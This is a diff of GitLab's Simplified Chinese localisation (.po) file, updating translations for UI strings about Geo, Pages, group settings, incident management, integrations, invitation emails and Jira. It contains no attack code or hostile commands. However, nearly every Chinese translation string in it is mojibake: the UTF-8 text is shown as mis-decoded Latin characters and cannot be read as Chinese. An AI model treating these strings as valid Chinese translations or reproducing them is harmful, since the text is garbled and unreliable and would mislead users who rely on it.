msgid "Geo|Allowed Geo IP should contain valid IP addresses"
-msgstr ""
+msgstr "å…许的Geo IP应该包å«æœ‰æ•ˆçš„IP地å€"
msgid "Geo|Connection timeout can't be blank"
-msgstr ""
+msgstr "连接超时ä¸èƒ½ä¸ºç©º"
msgid "Geo|Connection timeout must be a number"
-msgstr ""
+msgstr "连接超时必须是数字"
msgid "Geo|Connection timeout should be between 1-120"
-msgstr ""
+msgstr "连接超时应介于1-120之间"
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "无法删除现有项目的跟踪æ¡ç›®ã€‚"
@@ -11025,6 +11306,12 @@ msgstr "按状æ€è¿‡æ»¤"
msgid "Geo|Geo Status"
msgstr "Geo状æ€"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr "进行中"
@@ -11157,10 +11444,10 @@ msgstr "验è¯å¤±è´¥ - %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "等待调度"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11194,10 +11481,10 @@ msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "æ­¤ GitLab æœåŠ¡å™¨ä¸Šæœªå¯ç”¨ Git LFS,请è”系管ç†å‘˜ã€‚"
msgid "Git LFS objects will be synced in pull mirrors if LFS is %{docs_link_start}enabled for the project%{docs_link_end}. They will %{strong_open}not%{strong_close} be synced in push mirrors."
-msgstr ""
+msgstr "如果%{docs_link_start}为项目å¯ç”¨%{docs_link_end}了LFS,则Git LFS对象将在拉å–é•œåƒæ—¶åŒæ­¥ï¼Œ 但%{strong_open}ä¸ä¼š%{strong_close}在推é€é•œåƒæ—¶åŒæ­¥ã€‚"
msgid "Git LFS status:"
-msgstr ""
+msgstr "Git LFS状æ€ï¼š"
msgid "Git global setup"
msgstr "Git 全局设置"
@@ -11239,7 +11526,7 @@ msgid "GitLab Issue"
msgstr "GitLab议题"
msgid "GitLab Service Desk is a simple way to allow people to create issues in your GitLab instance without needing their own user account. It provides a unique email address for end users to create issues in a project, and replies can be sent either through the GitLab interface or by email. End users will only see the thread through email."
-msgstr ""
+msgstr "GitLabæœåŠ¡å°èƒ½å¤Ÿä»¥ç®€å•çš„æ–¹å¼è®©ç”¨æˆ·åœ¨æ‚¨çš„GitLab实例中创建议题,而无需创建账å·ã€‚它为最终用户æ供了在项目中创建问题的唯一电å­é‚®ä»¶åœ°å€ï¼Œå¹¶ä¸”å¯ä»¥é€šè¿‡GitLabç•Œé¢æˆ–通过电å­é‚®ä»¶è¿›è¡Œç­”å¤ã€‚最终用户将仅通过电å­é‚®ä»¶çœ‹åˆ°è¯¥ä¸»é¢˜ã€‚"
msgid "GitLab Shared Runners execute code of different projects on the same Runner unless you configure GitLab Runner Autoscale with MaxBuilds 1 (which it is on GitLab.com)."
msgstr "GitLab 共享è¿è¡Œå™¨å°†åœ¨åŒä¸€ä¸ªè¿è¡Œå™¨ä¸Šæ‰§è¡Œä¸åŒé¡¹ç›®çš„代ç ï¼Œé™¤éžæ‚¨åœ¨GitLab上设置 MaxBuilds为1å’Œ GitLab è¿è¡Œå™¨è‡ªåŠ¨ç¼©æ”¾ã€‚"
@@ -11260,7 +11547,7 @@ msgid "GitLab commit"
msgstr "GitLabæ交"
msgid "GitLab export"
-msgstr ""
+msgstr "GitLab导出"
msgid "GitLab for Slack"
msgstr "GitLab for Slack"
@@ -11287,10 +11574,10 @@ msgid "GitLab restart is required to apply changes."
msgstr "GitLab需é‡å¯æ›´æ”¹æ‰ä¼šç”Ÿæ•ˆã€‚"
msgid "GitLab single sign-on URL"
-msgstr ""
+msgstr "GitLabå•ç‚¹ç™»å½•ç½‘å€"
msgid "GitLab username"
-msgstr ""
+msgstr "GitLab用户å"
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLabå¯ä½¿ç”¨ %{jaeger_link}æ¥ç›‘控分布å¼ç³»ç»Ÿã€‚"
@@ -11299,7 +11586,7 @@ msgid "GitLab will run a background job that will produce pseudonymized CSVs of
msgstr "GitLabå°†è¿è¡ŒåŽå°ä»»åŠ¡ï¼Œç”Ÿæˆæ•°æ®åº“的匿å化CSV,并上传到预先设定的对象存储目录。"
msgid "GitLab.com"
-msgstr ""
+msgstr "GitLab.com"
msgid "GitLab.com import"
msgstr "从GitLab.com导入"
@@ -11311,7 +11598,7 @@ msgid "GitLabPages|%{domain} is not verified. To learn how to verify ownership,
msgstr "%{domain}尚未验è¯ã€‚请访问%{link_start}域详细信æ¯%{link_end}了解如何验è¯æ‰€æœ‰æƒã€‚"
msgid "GitLabPages|Access Control is enabled for this Pages website; only authorized users will be able to access it. To make your website publicly available, navigate to your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} and select %{strong_start}Everyone%{strong_end} in pages section. Read the %{link_start}documentation%{link_end} for more information."
-msgstr ""
+msgstr "æ­¤Pages网站已å¯ç”¨è®¿é—®æŽ§åˆ¶ï¼›åªæœ‰ç»è¿‡æŽˆæƒçš„用户æ‰èƒ½è®¿é—®å®ƒã€‚如果è¦å…¬å¼€æ‚¨çš„网站,请转到你的项目的%{strong_start}设置 &gt; 常规 &gt; å¯è§æ€§%{strong_end}并在Pages部分选择%{strong_start}所有人%{strong_end}。请查阅%{link_start}文档%{link_end}以获å–更多信æ¯ã€‚"
msgid "GitLabPages|Access pages"
msgstr "访问页é¢"
@@ -11337,8 +11624,8 @@ msgstr "已过期"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "强制HTTPS (需è¦æœ‰æ•ˆçš„è¯ä¹¦)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
-msgstr "此项目ç¦ç”¨GitLab Pages。您å¯ä»¥åœ¨æ‚¨çš„项目的%{strong_start}设置 > 常规 > å¯è§æ€§%{strong_end} 页é¢å¯ç”¨ã€‚"
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr "首次部署åŽï¼Œç«™ç‚¹å¯èƒ½éœ€è¦è‡³å¤š30分钟æ‰å¯ç”¨ã€‚"
@@ -11404,10 +11691,10 @@ msgid "Gitaly Servers"
msgstr "GitalyæœåŠ¡å™¨"
msgid "Gitaly relative path:"
-msgstr ""
+msgstr "Gitaly相对路径:"
msgid "Gitaly storage name:"
-msgstr ""
+msgstr "Gitaly存储å称:"
msgid "Gitaly|Address"
msgstr "地å€"
@@ -11454,8 +11741,11 @@ msgstr "å…¨å±æ¨¡å¼"
msgid "Go to %{link_to_google_takeout}."
msgstr "转至 %{link_to_google_takeout}。"
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
-msgstr "转至<strong>议题</strong> > <strong>看æ¿</strong>访问您的个性化学习议题看æ¿ã€‚"
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
+msgstr ""
msgid "Go to Webhooks"
msgstr "转到Webhooks"
@@ -11470,7 +11760,7 @@ msgid "Go to environments"
msgstr "转到环境"
msgid "Go to epic"
-msgstr ""
+msgstr "转到å²è¯—"
msgid "Go to file"
msgstr "转到文件"
@@ -11485,7 +11775,7 @@ msgid "Go to find file"
msgstr "转到查找文件"
msgid "Go to fork"
-msgstr ""
+msgstr "转到派生"
msgid "Go to issue boards"
msgstr "转到议题看æ¿"
@@ -11602,7 +11892,7 @@ msgid "GrafanaIntegration|Grafana URL"
msgstr "Grafana URL"
msgid "GrafanaIntegration|Grafana authentication"
-msgstr ""
+msgstr "Grafana身份验è¯"
msgid "Grant access"
msgstr "å…许访问"
@@ -11647,7 +11937,7 @@ msgid "Group ID"
msgstr "群组 ID"
msgid "Group ID: %{group_id}"
-msgstr "群组ID:%{group_id}"
+msgstr "群组ID: %{group_id}"
msgid "Group Owner must have signed in with SAML before enabling Group Managed Accounts"
msgstr "群组所有者必须先使用SAML登录,然åŽæ‰èƒ½å¯ç”¨ç¾¤ç»„托管å¸æˆ·"
@@ -11736,6 +12026,9 @@ msgstr "群组æµæ°´çº¿åˆ†é’Ÿæ•°å·²æˆåŠŸé‡ç½®ã€‚"
msgid "Group project URLs are prefixed with the group namespace"
msgstr "群组项目的URL以群组命å空间为å‰ç¼€"
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr "群组需è¦å•ç‹¬è´¦æˆ·"
@@ -11749,7 +12042,7 @@ msgid "Group was successfully updated."
msgstr "群组已æˆåŠŸæ›´æ–°ã€‚"
msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
+msgstr "%{group_name}中的群组级事件(没有项目级别事件)"
msgid "Group: %{group_name}"
msgstr "群组:%{group_name}"
@@ -11758,16 +12051,16 @@ msgid "Group: %{name}"
msgstr "群组: %{name}"
msgid "GroupActivityMetrics|Issues opened"
-msgstr ""
+msgstr "å¼€å¯çš„议题数"
msgid "GroupActivityMetrics|Members added"
-msgstr ""
+msgstr "添加新æˆå‘˜æ•°"
msgid "GroupActivityMetrics|Merge Requests opened"
-msgstr ""
+msgstr "å¼€å¯çš„åˆå¹¶è¯·æ±‚æ•°"
msgid "GroupActivityMetrics|Recent activity (last 90 days)"
-msgstr ""
+msgstr "最近活动(过去90天)"
msgid "GroupImport|Failed to import group."
msgstr "导入群组失败。"
@@ -11794,7 +12087,7 @@ msgid "GroupRoadmap|%{startDateInWords} – %{endDateInWords}"
msgstr "%{startDateInWords} – %{endDateInWords}"
msgid "GroupRoadmap|No start and end date"
-msgstr ""
+msgstr "无开始和结æŸæ—¥æœŸ"
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr "无开始日期 - %{dateWord}"
@@ -11830,7 +12123,7 @@ msgid "GroupSAML|Copy SAML Response XML"
msgstr "å¤åˆ¶SAMLå“应XML"
msgid "GroupSAML|Default membership role"
-msgstr ""
+msgstr "默认æˆå‘˜è§’色"
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "为此群组å¯ç”¨SAML身份验è¯ã€‚"
@@ -11854,7 +12147,7 @@ msgid "GroupSAML|Identity"
msgstr "身份"
msgid "GroupSAML|Identity provider single sign-on URL"
-msgstr ""
+msgstr "身份验è¯æ供商å•ç‚¹ç™»å½•URL"
msgid "GroupSAML|Make sure you save this token — you won't be able to access it again."
msgstr "请妥善ä¿å­˜æ­¤ä»¤ç‰Œ-您将无法å†æ¬¡è®¿é—®å®ƒçš„内容。"
@@ -11905,7 +12198,7 @@ msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token aga
msgstr "SCIM 令牌现在已éšè—。è¦å†æ¬¡æŸ¥çœ‹ä»¤ç‰Œçš„å€¼ï¼Œæ‚¨éœ€è¦ "
msgid "GroupSAML|This will be set as the access level of users added to the group."
-msgstr ""
+msgstr "这将被设置为添加到群组的用户的访问级别。"
msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
msgstr "为了能够å¯ç”¨å¼ºåˆ¶SSO,首先需è¦å¯ç”¨SAML身份验è¯ã€‚"
@@ -11956,10 +12249,10 @@ msgid "GroupSettings|Cannot update the path because there are projects under thi
msgstr "无法更新路径。因为此群组下的项目包å«äº†å®¹å™¨é•œåƒåº“çš„Dockeré•œåƒã€‚请先从您的项目中删除镜åƒåŽé‡è¯•ã€‚"
msgid "GroupSettings|Change group URL"
-msgstr ""
+msgstr "更改群组URL"
msgid "GroupSettings|Changing group URL can have unintended side effects."
-msgstr ""
+msgstr "更改群组URLå¯èƒ½ä¼šæœ‰æ„想ä¸åˆ°çš„副作用。"
msgid "GroupSettings|Custom project templates"
msgstr "自定义项目模æ¿"
@@ -11977,7 +12270,7 @@ msgid "GroupSettings|Disable group mentions"
msgstr "ç¦ç”¨ç¾¤ç»„æåŠ"
msgid "GroupSettings|Enable delayed project removal"
-msgstr ""
+msgstr "å¯ç”¨å»¶è¿Ÿçš„项目删除"
msgid "GroupSettings|Export group"
msgstr "导出群组"
@@ -12001,18 +12294,18 @@ msgid "GroupSettings|Pipeline settings was updated for the group"
msgstr "群组æµæ°´çº¿è®¾ç½®å·²æ›´æ–°"
msgid "GroupSettings|Please choose a group URL with no special characters."
-msgstr ""
+msgstr "请选择ä¸å«ç‰¹æ®Šå­—符的群组URL。"
msgid "GroupSettings|Prevent forking outside of the group"
-msgstr ""
+msgstr "阻止派生到群组外。"
msgid "GroupSettings|Prevent forking setting was not saved"
-msgstr ""
+msgstr "阻止派生设置未ä¿å­˜"
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "ç¦æ­¢ä¸Žå…¶ä»–群组共享 %{group} 中的项目"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12046,7 +12339,7 @@ msgid "GroupSettings|This setting will prevent group members from being notified
msgstr "此设置将使群组æˆå‘˜åœ¨æåŠç¾¤ç»„æ—¶ä¸è¢«é€šçŸ¥ã€‚"
msgid "GroupSettings|This setting will prevent group members from forking projects outside of the group."
-msgstr ""
+msgstr "此设置将阻止群组æˆå‘˜å‘在群组之外派生项目。"
msgid "GroupSettings|Transfer group"
msgstr "转移群组"
@@ -12082,7 +12375,7 @@ msgid "Groups and projects"
msgstr "群组和项目"
msgid "Groups and subgroups"
-msgstr ""
+msgstr "群组和å­ç¾¤ç»„"
msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
msgstr "也å¯ä»¥é€šè¿‡åˆ›å»º %{subgroup_docs_link_start}å­ç¾¤ç»„æ¥åµŒå¥—群组%{subgroup_docs_link_end}。"
@@ -12091,7 +12384,7 @@ msgid "Groups to synchronize"
msgstr "需åŒæ­¥çš„群组"
msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
+msgstr "有æƒè®¿é—®%{strong_open}%{project_name}%{strong_close}的群组"
msgid "Groups with access to %{strong_start}%{group_name}%{strong_end}"
msgstr "有æƒè®¿é—®%{strong_start}%{group_name}%{strong_end}的群组"
@@ -12223,6 +12516,9 @@ msgid "Health information can be retrieved from the following endpoints. More in
msgstr "è¿è¡ŒçŠ¶å†µä¿¡æ¯å¯ä»¥ä»Žä»¥ä¸‹API路径获å–。如需了解更多信æ¯ï¼Œè¯·æŸ¥çœ‹"
msgid "Health status"
+msgstr "å¥åº·çŠ¶æ€"
+
+msgid "Health status cannot be edited because this issue is closed"
msgstr ""
msgid "HealthCheck|Access token is"
@@ -12240,6 +12536,9 @@ msgstr "éžå¥åº·"
msgid "Hello there"
msgstr "你好"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "帮助"
@@ -12296,7 +12595,7 @@ msgid "Hide marketing-related entries from help"
msgstr "在帮助中éšè—与市场推广有关的æ¡ç›®"
msgid "Hide payload"
-msgstr "éšè—上传数æ®"
+msgstr "éšè—有效数æ®"
msgid "Hide shared projects"
msgstr "éšè—共享项目"
@@ -12368,6 +12667,9 @@ msgstr "å°†Elasticsearch索引拆分æˆå¤šå°‘个分片。"
msgid "How many users will be evaluating the trial?"
msgstr "有多少用户需è¦å‚与试用?"
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "但是,您已ç»æ˜¯ %{member_source} çš„æˆå‘˜ã€‚请使用其他å¸æˆ·ç™»å½•ä»¥æŽ¥å—邀请。"
@@ -12524,6 +12826,12 @@ msgstr "如果您最近从上述IP地å€ç™»å½•è¿‡ï¼Œåˆ™å¯ä»¥å¿½ç•¥æ­¤ç”µå­é‚®ä
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr "如果您删除此许å¯ï¼ŒGitLab将会退回上一个许å¯ï¼Œå¦‚果有的è¯ã€‚"
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "如果您的HTTP仓库无法公开访问,需在地å€ä¸­æ·»åŠ å‡­æ®ã€‚"
@@ -12657,7 +12965,7 @@ msgid "Import timed out. Import took longer than %{import_jobs_expiration} secon
msgstr "导入超时。耗时已超过 %{import_jobs_expiration} 秒"
msgid "Import/Export Rate Limits"
-msgstr ""
+msgstr "导入/导出速率é™åˆ¶"
msgid "Import/Export illustration"
msgstr "导入/导出æ’图"
@@ -12675,6 +12983,9 @@ msgid "ImportProjects|Importing the project failed"
msgstr "导入项目失败"
msgid "ImportProjects|Importing the project failed: %{reason}"
+msgstr "导入项目失败: %{reason}"
+
+msgid "ImportProjects|Requesting namespaces failed"
msgstr ""
msgid "ImportProjects|Requesting your %{provider} repositories failed"
@@ -12692,6 +13003,9 @@ msgstr "无法创建仓库。"
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "导入项目实时更新失败"
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr "增强议题看æ¿"
@@ -12702,25 +13016,22 @@ msgid "Improve Merge Requests and customer support with GitLab Enterprise Editio
msgstr "使用GitLab Enterprise Edition以获得增强的åˆå¹¶è¯·æ±‚功能和官方客户支æŒã€‚"
msgid "Improve customer support with GitLab Service Desk."
-msgstr ""
+msgstr "通过GitLabæœåŠ¡å°æ”¹è¿›å®¢æˆ·æ”¯æŒã€‚"
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "使用GitLabä¼ä¸šç‰ˆå…¨å±€æœç´¢å¸¦æ¥çš„增强æœç´¢åŠŸèƒ½"
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr "%{time_to_now}åŽ"
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "è¦å¯ç”¨å®žä¾‹çº§åˆ†æžï¼Œè¯·è¦æ±‚管ç†å‘˜å¯ç”¨ %{usage_ping_link_start}使用情况检测(usage ping)%{usage_ping_link_end}。"
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr "为了收集准确的功能使用数æ®ï¼Œå¯èƒ½éœ€è¦1到2周æ‰èƒ½çœ‹åˆ°æ‚¨çš„指数。"
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
-msgstr ""
-
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
+msgstr "为了能é‡èº«å®šåˆ¶æ‚¨åœ¨GitLab的体验,%{br_tag}我们希望对您有更多了解。"
msgid "In progress"
msgstr "进行中"
@@ -12728,65 +13039,77 @@ msgstr "进行中"
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "继续下一步,选择想è¦å¯¼å…¥çš„项目"
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr "事件管ç†é™åˆ¶"
msgid "IncidentManagement|All"
+msgstr "全部"
+
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
-msgstr ""
+msgstr "指派人"
msgid "IncidentManagement|Closed"
-msgstr ""
+msgstr "已关闭"
msgid "IncidentManagement|Create incident"
-msgstr ""
+msgstr "创建事件"
msgid "IncidentManagement|Date created"
+msgstr "创建日期"
+
+msgid "IncidentManagement|Display your incidents in a dedicated view"
msgstr ""
msgid "IncidentManagement|Incident"
-msgstr ""
+msgstr "事件"
msgid "IncidentManagement|Incidents"
-msgstr ""
+msgstr "事件"
msgid "IncidentManagement|No incidents to display."
-msgstr ""
+msgstr "没有è¦æ˜¾ç¤ºçš„事件。"
msgid "IncidentManagement|Open"
-msgstr ""
+msgstr "打开"
msgid "IncidentManagement|Published"
-msgstr ""
+msgstr "å·²å‘布"
msgid "IncidentManagement|Published to status page"
+msgstr "å‘布到状æ€é¡µ"
+
+msgid "IncidentManagement|There are no closed incidents"
msgstr ""
msgid "IncidentManagement|There was an error displaying the incidents."
-msgstr ""
+msgstr "显示事件时出错。"
msgid "IncidentManagement|Unassigned"
-msgstr ""
+msgstr "å–消指派"
msgid "IncidentManagement|Unpublished"
-msgstr ""
+msgstr "未å‘布"
msgid "IncidentSettings|Alert integration"
-msgstr ""
+msgstr "警报集æˆ"
msgid "IncidentSettings|Grafana integration"
-msgstr ""
+msgstr "Grafana集æˆ"
msgid "IncidentSettings|Incidents"
-msgstr ""
+msgstr "事件"
msgid "IncidentSettings|PagerDuty integration"
-msgstr ""
+msgstr "PagerDuty集æˆ"
msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
+msgstr "设置外部工具集æˆä»¥æ›´å¥½åœ°ç®¡ç†äº‹ä»¶ã€‚"
msgid "Incidents"
msgstr "事故"
@@ -12804,7 +13127,7 @@ msgid "Include merge request description"
msgstr "包å«åˆå¹¶è¯·æ±‚æè¿°"
msgid "Include the username in the URL if required: %{code_open}https://username@gitlab.company.com/group/project.git%{code_close}."
-msgstr ""
+msgstr "如果需è¦ï¼Œè¯·åœ¨URL中包å«ç”¨æˆ·å:%{code_open}https://username@gitlab.company.com/group/project.git%{code_close}。"
msgid "Includes LFS objects. It can be overridden per group, or per project. 0 for unlimited."
msgstr "åŒ…å« LFS 对象。它å¯ä»¥æŒ‰ç¾¤ç»„或项目覆盖。 0 表示无é™åˆ¶ã€‚"
@@ -12839,6 +13162,9 @@ msgstr "缩进"
msgid "Index all projects"
msgstr "索引所有项目"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "指示此runner是å¦å¯ä»¥é€‰æ‹©æ— æ ‡è®°çš„作业"
@@ -12905,6 +13231,9 @@ msgstr "从您的应用程åºåº“安装软令牌验è¯å™¨å¦‚ %{free_otp_link} 或
msgid "Install on clusters"
msgstr "在群集上安装"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "已安装"
@@ -12918,8 +13247,8 @@ msgstr[0] "实例"
msgid "Instance Configuration"
msgstr "实例é…ç½®"
-msgid "Instance Statistics visibility"
-msgstr "实例统计信æ¯å¯è§æ€§"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr "实例管ç†å‘˜ç»„已存在"
@@ -12945,6 +13274,12 @@ msgstr "评论细节:"
msgid "Integrations|Comment settings:"
msgstr "评论设置:"
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr "å¯ç”¨è¯„论"
@@ -12957,13 +13292,10 @@ msgstr "包括æ交的标题和分支"
msgid "Integrations|Standard"
msgstr "标准"
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
-msgstr ""
+msgstr "使用自定义设置"
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,8 +13325,8 @@ msgstr "循环周期"
msgid "Introducing Value Stream Analytics"
msgstr "价值æµåˆ†æžä»‹ç»"
-msgid "Introducing Your DevOps Score"
-msgstr "了解您的DevOps指数"
+msgid "Introducing Your DevOps Report"
+msgstr ""
msgid "Invalid Git ref"
msgstr "无效的Git ref"
@@ -13005,9 +13337,15 @@ msgstr "检测到无效的 Insights é…置文件"
msgid "Invalid Login or password"
msgstr "登录å或密ç æ— æ•ˆ"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "无效的网å€"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr "无效的container_name"
@@ -13093,7 +13431,7 @@ msgid "Invite Members"
msgstr "邀请æˆå‘˜"
msgid "Invite another teammate"
-msgstr ""
+msgstr "邀请其他团队æˆå‘˜"
msgid "Invite group"
msgstr "邀请群组"
@@ -13102,11 +13440,44 @@ msgid "Invite member"
msgstr "邀请æˆå‘˜"
msgid "Invite teammates (optional)"
+msgstr "邀请团队æˆå‘˜(å¯é€‰)"
+
+msgid "InviteEmail|%{inviter} invited you"
msgstr ""
-msgid "Invited users will be added with developer level permissions. You can always change this later."
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
msgstr ""
+msgid "Invited users will be added with developer level permissions. You can always change this later."
+msgstr "邀请的用户将被添加开å‘人员级别的æƒé™ã€‚您以åŽå¯ä»¥éšæ—¶æ›´æ”¹æ­¤è®¾ç½®ã€‚"
+
msgid "Invocations"
msgstr "调用"
@@ -13143,6 +13514,9 @@ msgstr "议题"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr "议题%{issue_reference}已被添加到å²è¯—%{epic_reference}。"
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "议题看æ¿"
@@ -13242,9 +13616,6 @@ msgstr "YoutTrack议题跟踪器"
msgid "Issues"
msgstr "议题"
-msgid "Issues Analytics"
-msgstr "议题分æž"
-
msgid "Issues Rate Limits"
msgstr "议题速率é™åˆ¶"
@@ -13264,7 +13635,7 @@ msgid "Issues with comments, merge requests with diffs and comments, labels, mil
msgstr "议题评论,åˆå¹¶è¯·æ±‚的差异和评论,标记,里程碑,代ç ç‰‡æ®µå’Œå…¶ä»–项目实体"
msgid "Issues with no epic assigned"
-msgstr ""
+msgstr "未分é…å²è¯—的议题"
msgid "Issues, merge requests, pushes, and comments."
msgstr "议题,åˆå¹¶è¯·æ±‚,推é€åŠè¯„论。"
@@ -13300,7 +13671,7 @@ msgid "Issue|Title"
msgstr "标题"
msgid "It looks like you have some draft commits in this branch."
-msgstr ""
+msgstr "看起æ¥ä½ åœ¨è¿™ä¸ªåˆ†æ”¯ä¸Šæœ‰ä¸€äº›è‰ç¨¿æ交。"
msgid "It must have a header row and at least two columns: the first column is the issue title and the second column is the issue description. The separator is automatically detected."
msgstr "它必须有标题行和至少有两列:第一æ æ˜¯è®®é¢˜æ ‡é¢˜ï¼Œç¬¬äºŒæ æ˜¯è®®é¢˜æ述。自动检测分隔符。"
@@ -13360,7 +13731,7 @@ msgid "Jira Issues"
msgstr "Jira议题"
msgid "Jira display name"
-msgstr ""
+msgstr "Jira显示å称"
msgid "Jira import is already running."
msgstr "Jira导入已在è¿è¡Œã€‚"
@@ -13378,22 +13749,25 @@ msgid "Jira service not configured."
msgstr "未é…ç½®JiraæœåŠ¡ã€‚"
msgid "Jira users have been imported from the configured Jira instance. They can be mapped by selecting a GitLab user from the dropdown in the \"GitLab username\" column. When the form appears, the dropdown defaults to the user conducting the import."
-msgstr ""
+msgstr "已从é…置的Jira实例中导入了Jira用户。å¯ä»¥é€šè¿‡ä»Žâ€œ GitLab用户åâ€åˆ—的下拉列表中选择一个GitLab用户æ¥æ˜ å°„它们。当表å•å‡ºçŽ°æ—¶ï¼Œä¸‹æ‹‰èœå•é»˜è®¤ä¸ºæ‰§è¡Œå¯¼å…¥çš„用户。"
msgid "Jira-GitLab user mapping template"
-msgstr ""
+msgstr "Jira-GitLab用户映射模æ¿"
msgid "JiraService| on branch %{branch_link}"
msgstr "于分支%{branch_link}"
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr "%{user_link}在%{project_link}%{branch}中的%{entity_link}中æåŠæ­¤è®®é¢˜: {quote}%{entity_message}{quote}"
msgid "JiraService|Displaying Jira issues while leaving the GitLab issue functionality enabled might be confusing. Consider %{linkStart}disabling GitLab issues%{linkEnd} if they won’t otherwise be used."
-msgstr ""
+msgstr "显示Jira议题且ä¿æŒGitLab自带议题功能å¯ç”¨å¯èƒ½å¼•èµ·æ··æ·†ã€‚如未计划使用,请考虑%{linkStart}ç¦ç”¨GitLab议题%{linkEnd}。"
msgid "JiraService|Enable Jira issues"
-msgstr ""
+msgstr "å¯ç”¨Jira议题"
